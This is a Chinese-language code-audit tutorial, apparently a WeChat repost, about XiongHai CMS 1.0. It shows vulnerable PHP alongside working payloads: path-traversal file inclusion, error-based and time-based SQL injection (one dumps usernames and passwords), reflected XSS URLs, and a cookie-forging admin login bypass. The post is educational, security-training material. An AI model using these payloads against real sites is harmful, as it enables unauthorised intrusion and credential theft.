高质量的安全文章,安全offer面试经验分享
尽在 # 掌控安全EDU #
作者:掌控安全-杰斯
熊海CMS
1.介绍
熊海是⼀款⼩型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是⽐较多的,⽽且审计起来难度不⼤,⾮常适合⼊门。
2.目录结构
admin
--管理后台文件夹
css
--存放
css
的文件夹
files
--存放页面的文件夹
images
--存放图片的文件夹
inc
--存放网站配置文件的文件夹
install
--网站进行安装的文件夹
seacmseditor
--编辑器文件夹
template
--模板文件夹
upload
--上传功能文件夹
index
.
php
--网站首页
3.漏洞
3.1)文件包含漏洞
index.php
<?
php
//单一入口模式
error_reporting
(
0
);
//关闭错误显示
$file
=
addslashes
(
$_GET
[
'r'
]);
//接收文件名
$action
=
$file
==
''
?
'index'
:
$file
;
//判断为空或者等于index
include
(
'files/'
.
$action
.
'.php'
);
//载入相应文件
GET传值r,用函数addslashes转义我们传入的值,防止命令执行、sql注入等,但是这里对文件包含并没有影响存在目录穿越,可以包含file目录中的也可以包含根目录中的文件,我们在files文件夹下新建一个2.php 根目录新建1.php。
<?
php phpinfo
();
payload
:
?
r
=
2
//包含files文件夹下的phpinfo()
?
r
=../
1
//包含根目录的phpinfo()
第二处admin的index.php也是存在同样问题
3.1) SQL注入漏洞
admin
/
login
.
php
<?
php
ob_start
();
require
'../inc/conn.php'
;
$login
=
$_POST
[
'login'
];
$user
=
$_POST
[
'user'
];
$password
=
$_POST
[
'password'
];
$checkbox
=
$_POST
[
'checkbox'
];
if
(
$login
<>
""
)
{
$query
=
"SELECT * FROM manage WHERE user='$user'"
;
echo $query
;
$result
=
mysql_query
(
$query
)
or
die
(
'SQL语句有误:'
.
mysql_error
());
$users
=
mysql_fetch_array
(
$result
);
if
(!
mysql_num_rows
(
$result
))
{
echo
"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"
;
exit
;
}
else
{
$passwords
=
$users
[
'password'
];
if
(
md5
(
$password
)
<>
$passwords
)
{
echo
"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"
;
exit
;
}
//写入登录信息并记住30天
if
(
$checkbox
==
1
)
{
setcookie
(
'user'
,
$user
,
time
()
+
3600
*
24
*
30
,
'/'
);
}
else
{
setcookie
(
'user'
,
$user
,
0
,
'/'
);
}
echo
"<script>this.location='?r=index'</script>"
;
exit
;
}
exit
;
ob_end_flush
();
}
?>
没有对参数进行过滤,SQLmap一把梭、
存在的一些注入类型:
报错注入
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //yong
'
and
updatexml
(
1
,
concat
(
0x7e
,(
select
group_concat
()
from
information_schema
.
tables
where
table_schema
=
'www_xh_com'
limit
0
,
1
),
0x7e
),
1
)--+
//表名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='
数据库名
' and table_name='
表名
' limit 0,1),0x7e),1)--+
'
and
updatexml
(
1
,
concat
(
0x7e
,(
select
concat
(
username
,
0x3a
,
password
)
from
users limit
0
,
1
),
0x7e
),
1
)--+
时间盲注
' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB
admin/softlist.php
<?
php
require
'../inc/checklogin.php'
;
require
'../inc/conn.php'
;
$wzlistopen
=
'class="open"'
;
$pageyema
=
"?r=wzlist&page="
;
$delete
=
$_GET
[
'delete'
];
if
(
$delete
<>
""
)
{
$query
=
"DELETE FROM download WHERE id='$delete'"
;
$result
=
mysql_query
(
$query
)
or
die
(
'SQL语句有误:'
.
mysql_error
());
echo
"<script>alert('亲,ID为"
.
$delete
.
"的内容已经成功删除!');location.href='?r=softlist'</script>"
;
exit
;
}
?>
无过滤,开启了mysql错误回显,直接报错注入
http
:
//www.XXX.com/admin/?r=softlist&delete=' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
执行结果:
SQL语句有误:XPATH syntax error: '~xh@localhost~'
admin/editlink.php
<?
php
require
'../inc/checklogin.php'
;
require
'../inc/conn.php'
;
$linklistopen
=
'class="open"'
;
$id
=
$_GET
[
'id'
];
$query
=
"SELECT * FROM link WHERE id='$id'"
;
echo $query
;
$resul
=
mysql_query
(
$query
)
or
die
(
'SQL语句有误:'
.
mysql_error
());
$link
=
mysql_fetch_array
(
$resul
);
无过滤,报错注入,时间盲注
' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB
'
and
updatexml
(
1
,
concat
(
0x7e
,(
select
user
()),
0x7e
),
1
)--+
admin/editcolumn.php
<?
php
require
'../inc/checklogin.php'
;
require
'../inc/conn.php'
;
$columnopen
=
'class="open"'
;
$id
=
$_GET
[
'id'
];
$type
=
$_GET
[
'type'
];
if
(
$type
==
1
)
{
$query
=
"SELECT * FROM nav WHERE id='$id'"
;
echo $query
;
$resul
=
mysql_query
(
$query
)
or
die
(
'SQL语句有误:'
.
mysql_error
());
$nav
=
mysql_fetch_array
(
$resul
);
}
if
(
$type
==
2
)
{
$query
=
"SELECT * FROM navclass WHERE id='$id'"
;
$resul
=
mysql_query
(
$query
)
or
die
(
'SQL语句有误:'
.
mysql_error
());
$nav
=
mysql_fetch_array
(
$resul
);
}
无过滤,报错注入,时间盲注
' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB
'
and
updatexml
(
1
,
concat
(
0x7e
,(
select
user
()),
0x7e
),
1
)--+
3.3) XSS漏洞
file/contact.php
$page
=
addslashes
(
$_GET
[
'page'
]);
if
(
$page
<>
""
)
{
if
(
$page
<>
1
)
{
$pages
=
"第"
.
$page
.
"页 - "
;
}
}
<?
php echo $page
?>
addslashes函数对js标签并不过滤
http
:
//www.xh.com/?r=contact&page=<script>alert(1)</script>
http
:
//www.xh.com/?r=contact&page=<img src=1 onerror=alert(/xss/)>
3.3) 垂直越权
inc/checklogin.php
<?
php
$user
=
$_COOKIE
[
'user'
];
if
(
$user
==
""
){
header
(
"Location: ?r=login"
);
exit
;
}
?>
POST
/
admin
/?
r
=
login HTTP
/
1.1
Host
:
www
.
xh
.
com
Content
-
Length
:
25
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//www.xh.com
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
98.0
.
4758.102
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xh.com/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=moiv7ip0kf500du1luv2ccr333; name=dasd; mail=dasd;user=admin
Connection: close
user=&password=&login=yes
在cookie中添加一个新的属性:user=admin
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
扫码白嫖视频+工具+进群+靶场等资料
扫码白嫖!
还有免费的配套靶场、交流群哦
原文始发于微信公众号(掌控安全EDU):文库 | 熊海cms代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论